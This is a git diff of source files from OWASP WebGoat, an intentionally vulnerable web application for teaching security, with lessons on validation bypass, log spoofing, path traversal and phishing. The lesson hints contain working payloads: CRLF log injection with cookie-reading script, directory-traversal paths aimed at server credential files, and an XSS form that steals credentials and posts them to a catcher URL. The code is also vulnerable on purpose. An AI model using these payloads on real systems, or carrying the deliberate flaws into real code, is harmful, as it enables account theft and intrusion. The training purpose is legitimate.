ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement( + "Field6: zip with optional dash four (" + regex6 + ")"))); + ec.addElement(new Div().addElement(input6)); + ec.addElement(new P()); + ec.addElement(new Div().addElement(new StringElement( + "Field7: US phone number with or without dashes (" + regex7 + + ")"))); + ec.addElement(new Div().addElement(input7)); + ec.addElement(new P()); + ec.addElement(b); + + // Check the patterns on the server -- and note the errors in the response + // these should never match unless the client side pattern script doesn't work + + int err = 0; + String msg = ""; + + if (!pattern1.matcher(param1).matches()) + { + err++; + msg += "
Server side validation violation: You succeeded for Field1."; + } + + if (!pattern2.matcher(param2).matches()) + { + err++; + msg += "
Server side validation violation: You succeeded for Field2."; + } + + if (!pattern3.matcher(param3).matches()) + { + err++; + msg += "
Server side validation violation: You succeeded for Field3."; + } + + if (!pattern4.matcher(param4).matches()) + { + err++; + msg += "
Server side validation violation: You succeeded for Field4."; + } + + if (!pattern5.matcher(param5).matches()) + { + err++; + msg += "
Server side validation violation: You succeeded for Field5."; + } + + if (!pattern6.matcher(param6).matches()) + { + err++; + msg += "
Server side validation violation: You succeeded for Field6."; + } + + if (!pattern7.matcher(param7).matches()) + { + err++; + msg += "
Server side validation violation: You succeeded for Field7."; + } + + if (err > 0) + { + s.setMessage(msg); + } + if (err >= 7) + { + // This means they defeated all the client side checks + makeSuccess(s); + } + } + + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.UNVALIDATED_PARAMETERS; + } + + + /** + * Gets the hints attribute of the AccessControlScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + + hints.add("The validation is happening in your browser."); + hints + .add("Try modifying the values with a proxy after they leave your browser"); + hints + .add("Another way is to delete the JavaScript before you view the page."); + + return hints; + } + + + /** + * Gets the instructions attribute of the WeakAccessControl object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "This website performs both client and server side validation. " + + "For this exercise, your job is to break the client side validation and send the " + + " website input that it wasn't expecting." + + " You must break all 7 validators at the same time. "; + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(120); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Bypass Client Side JavaScript Validation"); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/LessonAdapter.java b/main/project/JavaSource/org/owasp/webgoat/lessons/LessonAdapter.java new file mode 100644 index 000000000..47ef1765f --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/LessonAdapter.java @@ -0,0 +1,291 @@ +package org.owasp.webgoat.lessons; + +import java.io.BufferedReader; +import java.io.FileReader; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.Center; +import org.apache.ecs.html.H3; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.P; +import org.apache.ecs.html.PRE; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public abstract class LessonAdapter extends AbstractLesson +{ + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + // Mark this lesson as completed. + makeSuccess(s); + + ElementContainer ec = new ElementContainer(); + + ec + .addElement(new Center().addElement(new H3() + .addElement(new StringElement( + "Detailed Lesson Creation Instructions.")))); + ec.addElement(new P()); + ec + .addElement(new StringElement( + "Lesson are simple to create and very little coding is required.   " + + "In fact, most lessons can be created by following the easy to use instructions in the " + + "WebGoat User Guide.  " + + "If you would prefer, send your lesson ideas to " + + getWebgoatContext().getFeedbackAddress())); + + String fileName = s.getContext().getRealPath( + "doc/New Lesson Instructions.txt"); + if (fileName != null) + { + try + { + PRE pre = new PRE(); + BufferedReader in = new BufferedReader(new FileReader(fileName)); + String line = null; + while ((line = in.readLine()) != null) + { + pre.addElement(line + "\n"); + } + ec.addElement(pre); + } + catch (Exception e) + { + e.printStackTrace(); + } + } + return (ec); + } + + + /** + * Gets the category attribute of the LessonAdapter object. The default category is "General" Only + * override this method if you wish to create a new category or if you wish this lesson to reside + * within a category other the "General" + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.GENERAL; + } + + + protected boolean getDefaultHidden() + { + return false; + } + + private final static Integer DEFAULT_RANKING = new Integer(1000); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the hintCount attribute of the LessonAdapter object + * + * @return The hintCount value + */ + public int getHintCount(WebSession s) + { + return getHints(s).size(); + } + + + /** + * Fill in a minor hint that will help people who basically get it, but are stuck on somthing + * silly. Hints will be returned to the user in the order they appear below. The user must click + * on the "next hint" button before the hint will be displayed. + * + * @return The hint1 value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("There are no hints defined."); + + return hints; + } + + + public String getHint(WebSession s, int hintNumber) + { + return (String) getHints(s).get(hintNumber); + } + + + /** + * Gets the credits attribute of the AbstractLesson object + * + * @return The credits value + */ + public Element getCredits() + { + return new StringElement(); + } + + + /** + * Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as html + * and will appear below the control area and above the actual lesson area. Instructions should + * provide the user with the general setup and goal of the lesson. + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + StringBuffer buff = new StringBuffer(); + try + { + String fileName = s.getWebResource(getLessonPlanFileName()); + if (fileName != null) + { + BufferedReader in = new BufferedReader(new FileReader(fileName)); + String line = null; + boolean startAppending = false; + while ((line = in.readLine()) != null) + { + if (line.indexOf("") != -1) + { + startAppending = true; + continue; + } + if (line.indexOf("") != -1) + { + startAppending = false; + continue; + } + if (startAppending) + { + buff.append(line + "\n"); + } + } + } + } + catch (Exception e) + {} + + return buff.toString(); + + } + + + /** + * Fill in a descriptive title for this lesson. The title of the lesson. This will appear above + * the control area at the top of the page. This field will be rendered as html. + * + * @return The title value + */ + public String getTitle() + { + return "Untitled Lesson " + getScreenId(); + } + + + public String getCurrentAction(WebSession s) + { + return s.getLessonSession(this).getCurrentLessonScreen(); + } + + + public void setCurrentAction(WebSession s, String lessonScreen) + { + s.getLessonSession(this).setCurrentLessonScreen(lessonScreen); + } + + + public Object getSessionAttribute(WebSession s, String key) + { + return s.getRequest().getSession().getAttribute(key); + } + + + public void setSessionAttribute(WebSession s, String key, Object value) + { + s.getRequest().getSession().setAttribute(key, value); + } + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element makeSuccess(WebSession s) + { + getLessonTracker(s).setCompleted(true); + + s + .setMessage("Congratulations. You have successfully completed this lesson."); + + return (null); + } + + + /** + * Gets the credits attribute of the AbstractLesson object + * + * @return The credits value + */ + protected Element getCustomCredits(String text, Element e) + { + Table t = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("RIGHT"); + TR tr = new TR(); + tr.addElement(new TD(text).setVAlign("MIDDLE").setAlign("RIGHT").setWidth("100%")); + tr.addElement(new TD(e).setVAlign("MIDDLE").setAlign("RIGHT")); + t.addElement(tr); + return t; + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/LogSpoofing.java b/main/project/JavaSource/org/owasp/webgoat/lessons/LogSpoofing.java new file mode 100644 index 000000000..13081b3af --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/LogSpoofing.java @@ -0,0 +1,174 @@ +package org.owasp.webgoat.lessons; + +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.HtmlColor; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.PRE; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Sherif Koussa Macadamian Technologies + * @created October 28, 2006 + */ + +public class LogSpoofing extends LessonAdapter +{ + + private static final String USERNAME = "username"; + + private static final String PASSWORD = "password"; + + private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( + "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); + + protected Element createContent(WebSession s) + { + + ElementContainer ec = null; + String inputUsername = null; + try + { + + Table t = new Table(0).setCellSpacing(0).setCellPadding(0) + .setBorder(0); + TR row1 = new TR(); + TR row2 = new TR(); + TR row3 = new TR(); + + row1.addElement(new TD(new StringElement("Username: "))); + Input username = new Input(Input.TEXT, USERNAME, ""); + row1.addElement(new TD(username)); + + row2.addElement(new TD(new StringElement("Password: "))); + Input password = new Input(Input.PASSWORD, PASSWORD, ""); + row2.addElement(new TD(password)); + + Element b = ECSFactory.makeButton("Login"); + row3.addElement(new TD(new StringElement("  "))); + row3.addElement(new TD(b)).setAlign("right"); + + t.addElement(row1); + t.addElement(row2); + t.addElement(row3); + + ec = new ElementContainer(); + ec.addElement(t); + + inputUsername = new String(s.getParser().getRawParameter(USERNAME, + "")); + if (inputUsername.length() != 0) + { + inputUsername = URLDecoder.decode(inputUsername, "UTF-8"); + } + + ec.addElement(new PRE(" ")); + + Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0) + .setBorder(0); + TR row4 = new TR(); + row4.addElement( + new TD(new PRE("Login failed for username: " + + inputUsername))).setBgColor(HtmlColor.GRAY); + + t2.addElement(row4); + + ec.addElement(t2); + + if (inputUsername.length() != 0 + && inputUsername.toUpperCase().indexOf( + System.getProperty("line.separator") + + "LOGIN SUCCEEDED FOR USERNAME:") >= 0) + { + makeSuccess(s); + } + } + catch (UnsupportedEncodingException e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return ec; + } + + private final static Integer DEFAULT_RANKING = new Integer(72); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + @Override + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Try to fool the humane eye by using new lines."); + hints.add("Use CR (%0d) and LF (%0a) for a new line."); + hints.add("Try: Smith%0d%0aLogin Succeeded for username: admin"); + hints + .add("Try: Smith%0d%0aLogin Succeeded for username: admin<script>alert(document.cookie)</script>"); + + return hints; + } + + + @Override + public String getTitle() + { + return "Log Spoofing"; + } + + + @Override + protected Category getDefaultCategory() + { + return Category.INJECTION; + } + + + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/NewLesson.java b/main/project/JavaSource/org/owasp/webgoat/lessons/NewLesson.java new file mode 100644 index 000000000..978148880 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/NewLesson.java @@ -0,0 +1,90 @@ +package org.owasp.webgoat.lessons; + +import org.apache.ecs.Element; +import org.apache.ecs.StringElement; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Sherif Koussa Macadamian Technologies. + * @created October 28, 2003 + */ +public class NewLesson extends LessonAdapter +{ + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + return super.createContent(s); + //makeSuccess(s); + //ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!")); + //return (ec); + } + + + /** + * Gets the category attribute of the NEW_LESSON object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.GENERAL; + } + + private final static Integer DEFAULT_RANKING = new Integer(85); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the DirectoryScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Create a WebGoat Lesson"); + } + + public Element getCredits() + { + return super.getCustomCredits("Created by: Your name goes here!", new StringElement("")); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/PathBasedAccessControl.java b/main/project/JavaSource/org/owasp/webgoat/lessons/PathBasedAccessControl.java new file mode 100644 index 000000000..2ee358c52 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/PathBasedAccessControl.java @@ -0,0 +1,281 @@ +package org.owasp.webgoat.lessons; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileReader; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; + +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class PathBasedAccessControl extends LessonAdapter +{ + + private final static String FILE = "File"; + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + String dir = s.getContext().getRealPath("/lesson_plans"); + File d = new File(dir); + + Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { + t.setBorder(1); + } + + String[] list = d.list(); + String listing = "

Current Directory is: " + Encoding.urlDecode(dir) + + "

Choose the file to view:

"; + + TR tr = new TR(); + tr.addElement(new TD().setColSpan(2).addElement(new StringElement(listing))); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(FILE, list, "", 15))); + tr.addElement(new TD().addElement(ECSFactory.makeButton("View File"))); + t.addElement(tr); + + ec.addElement(t); + + // FIXME: would be cool to allow encodings here -- hex, percent, + // url, etc... + String file = s.getParser().getRawParameter(FILE, ""); + + // defuse file searching + boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); + if (getWebgoatContext().isDefuseOSCommands()) + { + // allow them to look at any file in the webgoat hierachy. Don't + // allow them + // to look about the webgoat root, except to see the LICENSE + // file + if (upDirCount(file) == 3 && !file.endsWith("LICENSE")) + { + s.setMessage("Access denied"); + s.setMessage("It appears that you are on the right track. " + + "Commands that may compromise the operating system have been disabled. " + + "You are only allowed to see one file in this directory. "); + } else if (upDirCount(file) > 3) + { + s.setMessage("Access denied"); + s.setMessage("It appears that you are on the right track. " + + "Commands that may compromise the operating system have been disabled. " + + "You are only allowed to see files in the webgoat directory. "); + } else + { + illegalCommand = false; + } + } + + // Using the URI supports encoding of the data. + // We could force the user to use encoded '/'s == %2f to make the lesson more difficult. + // We url Encode our dir name to avoid problems with special characters in our own path. + // File f = new File( new URI("file:///" + + // Encoding.urlEncode(dir).replaceAll("\\\\","/") + "/" + + // file.replaceAll("\\\\","/")) ); + File f = new File((dir + "\\" + file).replaceAll("\\\\", "/")); + + if (s.isDebug()) + { + + s.setMessage("File: " + file); + s.setMessage("Dir: " + dir); + // s.setMessage("File URI: " + "file:///" + + // (Encoding.urlEncode(dir) + "\\" + + // Encoding.urlEncode(file)).replaceAll("\\\\","/")); + s.setMessage(" - isFile(): " + f.isFile()); + s.setMessage(" - exists(): " + f.exists()); + } + if (!illegalCommand) + { + if (f.isFile() && f.exists()) + { + // Don't set completion if they are listing files in the + // directory listing we gave them. + if (upDirCount(file) >= 1) + { + s.setMessage("Congratulations! Access to file allowed"); + s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); + makeSuccess(s); + } else + { + s.setMessage("File is already in allowed directory - try again!"); + s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); + } + } else if (file != null && file.length() != 0) + { + s.setMessage("Access to file/directory \"" + Encoding.urlDecode(f.getCanonicalPath()) + + "\" denied"); + } else + { + // do nothing, probably entry screen + } + + try + { + // Show them the file + // Strip out some of the extra html from the "help" file + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new HR().setWidth("100%")); + ec.addElement("Viewing file: " + f.getCanonicalPath()); + ec.addElement(new HR().setWidth("100%")); + if (f.length() > 80000) + { + throw new Exception("File is too large"); + } + String fileData = getFileText(new BufferedReader(new FileReader(f)), false); + if (fileData.indexOf(0x00) != -1) + { + throw new Exception("File is binary"); + } + ec + .addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), + "
").replaceAll("(?s)", "").replaceAll("

", "
") + .replaceAll("
\\s
", "
").replaceAll("<\\?", "<").replaceAll( + "<(r|u|t)", "<$1"))); + } + catch (Exception e) + { + ec.addElement(new BR()); + ec.addElement("The following error occurred while accessing the file: <"); + ec.addElement(e.getMessage()); + } + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + private int upDirCount(String fileName) + { + int count = 0; + int startIndex = fileName.indexOf(".."); + while (startIndex != -1) + { + count++; + startIndex = fileName.indexOf("..", startIndex + 1); + } + return count; + } + + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.ACCESS_CONTROL; + } + + /** + * Gets the hints attribute of the AccessControlScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Most operating systems allow special characters in the path."); + hints.add("Use a file explorer to find the tomcat\\webapps\\WebGoat\\lesson_plans directory"); + hints.add("Try .. in the path"); + hints.add("Try ..\\..\\..\\LICENSE"); + + return hints; + } + + /** + * Gets the instructions attribute of the WeakAccessControl object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "The '" + s.getUserName() + "' user has access to all the files in the " + + "lesson_plans directory. Try to break the access control mechanism and access a " + + "resource that is not in the listed directory. After selecting a file to view, WebGoat " + + "will report if access to the file was granted. An interesting file to try and obtain might " + + "be a file like tomcat/conf/tomcat-users.xml"; + + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(115); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Bypass a Path Based Access Control Scheme"); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Phishing.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Phishing.java new file mode 100644 index 000000000..64b9a3213 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Phishing.java @@ -0,0 +1,299 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.B; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Comment; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TH; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.Catcher; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created March 13, 2007 + */ +public class Phishing extends LessonAdapter +{ + + /** + * Description of the Field + */ + protected final static String SEARCH = "Username"; + private String searchText; + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + private boolean postedCredentials(WebSession s) + { + String postedToCookieCatcher = + getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, Catcher.EMPTY_STRING); + + // + return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING)); + // + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + searchText = s.getParser().getRawParameter(SEARCH, ""); + // + // + + ec.addElement(makeSearch(s)); + if (postedCredentials(s)) + { + makeSuccess(s); + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + } + + return (ec); + } + + protected Element makeSearch(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + ec.addElement(new H1().addElement("WebGoat Search ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setAlign("center"); + + TR tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + if (s.isColor()) + { + t.setBorder(1); + } + + tr = new TR(); + tr.addElement(new TH().addElement("This facility will search the WebGoat source.").setColSpan(2) + .setAlign("center")); + t.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + + TR row1 = new TR(); + row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right")); + + Input input1 = new Input(Input.TEXT, SEARCH, searchText); + row1.addElement(new TD(input1).setAlign("left")); + t.addElement(row1); + + Element b = ECSFactory.makeButton("Search"); + t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center")); + ec.addElement(t); + + if (!searchText.equals("")) + { + ec.addElement(new BR()); + ec.addElement(new HR()); + ec.addElement(new BR()); + ec.addElement(new StringElement("Results for: " + searchText)); + ec.addElement(new Comment("Search results")); + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new B(new StringElement("No results were found."))); + ec.addElement(new Comment("End of Search results")); + } + + return (ec); + } + + /** + * Gets the hints attribute of the CluesScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Try adding HTML to the search field to create a fake authentication form.
" + + "Try to make the form look official."); + hints + .add("Try:
" + + "password<form><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" id="user" " + + "name="user"><br>Enter Password:<br><input type="password" " + + "name = "pass"><br></form><br><br><HR>"); + hints + .add("Add functionality that can post a request, a button might work

" + + "After getting the button on the page, don't forget you will need to steal the credentials and post them to:
" + + "http://localhost./WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE"); + hints + .add("Try:
" + + "<input type="submit" name="login" " + + "value="login">" + + "

Solution for this hint:

" + + "password<form><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" id="user" " + + "name="user"><br>Enter Password:<br><input type="password" " + + "name = "pass"><br><input type="submit" name="login" " + + "value="login" onclick="hack()"></form><br><br><HR>"); + hints + .add("Make the button perform an action on submit,
" + + "adding an onclick=\"hack()\" might work
" + + "Don't forget to add the hack() javascript function" + + "

Solution for this hint:

" + + "password<form><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" id="user" " + + "name="user"><br>Enter Password:<br><input type="password" " + + "name = "pass"><br><input type="submit" name="login" " + + "value="login" onclick="hack()"></form><br><br><HR>"); + hints + .add("You need to create the hack() function. This function will pull the credentials from the " + + "webpage and post them to the WebGoat catcher servlet.
" + + "
Some useful code snippets:
    " + + "
  • doucument.forms[0].user.value - will access the user field" + + "
  • XssImage = new Image(); XssImage.src=SOME_URL = will perform a post" + + "
  • javascript string concatentation uses a \"+\"
" + + "

Solution for this hint():

" + + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." + + "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); " + + "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+" + + "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}" + + "</script>"); + hints + .add("Complete solution for this lesson:

" + + "password<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." + + "\nUser Name = " + document.forms(0).user.value + "\nPassword = " + document.forms(0).pass.value); " + + "XSSImage=new Image; XSSImage.src="http://localhost./WebGoat/catcher?PROPERTY=yes&user="+" + + "document.forms(0).user.value + "&password=" + document.forms(0).pass.value + "";}" + + "</script><form><br><br><HR><H3>This feature requires account login:</H2" + + "><br><br>Enter Username:<br><input type="text" id="user" " + + "name="user"><br>Enter Password:<br><input type="password" " + + "name = "pass"><br><input type="submit" name="login" " + + "value="login" onclick="hack()"></form><br><br><HR>" + + "

You may need to remove the '.' from the http://localhost./"); + /** + * password

+ *
+ *
+ *

This feature requires account login:

+ *
+ *
+ * Enter Username:
+ *
+ * Enter Password:
+ *
+ *

+ *
+ *
+ * + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + http://xml.apache.org/axis/wsdd/ + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/main/project/WebContent/WEB-INF/web.xml b/main/project/WebContent/WEB-INF/web.xml new file mode 100755 index 000000000..a7acfa348 --- /dev/null +++ b/main/project/WebContent/WEB-INF/web.xml @@ -0,0 +1,344 @@ + + + + + + + WebGoat + + This web application is designed to demonstrate web + application security flaws for the purpose of educating + developers and security professionals about web + application security problems. Please contact Bruce Mayhew + (webgoat@owasp.org) if you have any questions. + + + + + + + + email + WebGoat@owasp.org + + The EMAIL address of the administrator to whom questions + and comments about this application should be addressed. + + + + + + + AxisServlet + Apache-Axis Servlet + + org.apache.axis.transport.http.AxisServlet + + + + + AdminServlet + Axis Admin Servlet + + org.apache.axis.transport.http.AdminServlet + + 100 + + + + SOAPMonitorService + SOAPMonitorService + + org.apache.axis.monitor.SOAPMonitorService + + + SOAPMonitorPort + 5001 + + 100 + + + + WebGoat + + This servlet plays the "controller" role in the MVC architecture + used in this application. + + The initialization parameter namess for this servlet are the + "servlet path" that will be received by this servlet (after the + filename extension is removed). The corresponding value is the + name of the action class that will be used to process this request. + + 